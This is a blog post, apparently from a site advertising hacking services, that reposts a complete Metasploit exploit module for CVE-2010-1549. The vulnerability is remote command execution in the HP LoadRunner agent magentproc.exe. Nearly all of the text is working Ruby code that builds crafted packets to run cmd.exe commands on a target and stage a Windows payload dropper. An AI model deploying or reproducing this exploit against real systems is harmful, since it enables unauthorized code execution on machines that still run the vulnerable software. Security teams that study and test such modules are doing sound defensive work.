Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863550666

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::CmdStager

  def initialize(info={})
    super(update_info(info,
      'Name'           => "HP Mercury LoadRunner Agent magentproc.exe Remote Command Execution",
      'Description'    => %q{
        This module exploits a remote command execution vulnerablity in HP LoadRunner before 9.50
        and also HP Performance Center before 9.50. HP LoadRunner 12.53 and other versions are
        also most likely vulneable if the (non-default) SSL option is turned off.
        By sending a specially crafted packet, an attacker can execute commands remotely.
        The service is vulnerable provided the Secure Channel feature is disabled (default).
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Unknown', # Original discovery # From Tenable Network Security
          'aushack'  # metasploit module
        ],
      'References'     =>
        [
          ['CVE', '2010-1549'],
          ['ZDI', '10-080'],
          ['BID', '39965'],
          ['URL', 'https://support.hpe.com/hpsc/doc/public/display?docId=c00912968']
        ],
      'Payload'        => { 'BadChars' => "\x0d\x0a\x00" },
      'Platform'       => 'win',
      'Targets'        =>
        [
          # Note: software reportedly supports Linux - may also be vulnerable.
          ['Windows (Dropper)',
          'Platform'   => 'win',
          'Arch'       => [ARCH_X86, ARCH_X64]
          ],
        ],
      'Privileged'     => false,
      'Stance'         => Msf::Exploit::Stance::Aggressive,
      'DisclosureDate' => 'May 06 2010',
      'DefaultTarget'  => 0))

      register_options([Opt::RPORT(54345)])
  end

  def autofilter
    true
  end

  def execute_command(cmd, _opts = {})
    guid = Rex::Text.encode_base64(Rex::Text.rand_text_alphanumeric(17))
    randstr = Rex::Text.rand_text_alpha(16)
    server_name = Rex::Text.rand_text_alpha(7)
    server_ip = datastore['LHOST']
    server_port = Rex::Text.rand_text_numeric(4)
    # If linux is one day supported, cmd1 = /bin/sh and cmd2 = -c cmd
    cmd1 = "C:\\Windows\\system32\\cmd.exe"
    cmd2 = "/C \"#{cmd}\""

    pkt1 = [0x19].pack('N') + guid + '0'

    pkt2 = [0x6].pack('N') + [0x0].pack('N') + "(-server_type=8)(-server_name=#{server_name})(-server_full_name=#{server_name})"
    pkt2 << "(-server_ip_name=#{server_ip})(-server_port=#{server_port})(-server_fd_secondary=4)(-guid_identifier=#{guid})\x00\x00"
    pkt2 << [0x7530].pack('N')

    pkt3 = [4 + pkt2.length].pack('N') + pkt2

    pkt4 = [0x1c].pack('N') + [0x05].pack('N') + [0x01].pack('N') + randstr + pkt3

    pkt5 = [pkt4.length].pack('N') + pkt4

    pkt6 = [0x437].pack('N') + [0x0].pack('N') + [0x31].pack('N') + [1].pack('N') + [0x31000000].pack('N')
    pkt6 << [cmd1.length].pack('N') + cmd1 + "\x00" + [cmd2.length].pack('N') + cmd2 + [0x0].pack('N') + [0x0].pack('N')

    pkt7 = [4 + pkt6.length].pack('N') + pkt6

    pkt8 = [0x18].pack('N') + [0x04].pack('N') + randstr + pkt7

    pkt9 = [pkt8.length].pack('N') + pkt8

    sploit = pkt1 + pkt5 + pkt9

    connect
    sock.put(sploit)
    disconnect
 end

  def exploit
      print_status('Sending payload...')
      execute_cmdstager(linemax: 1500)
  end
end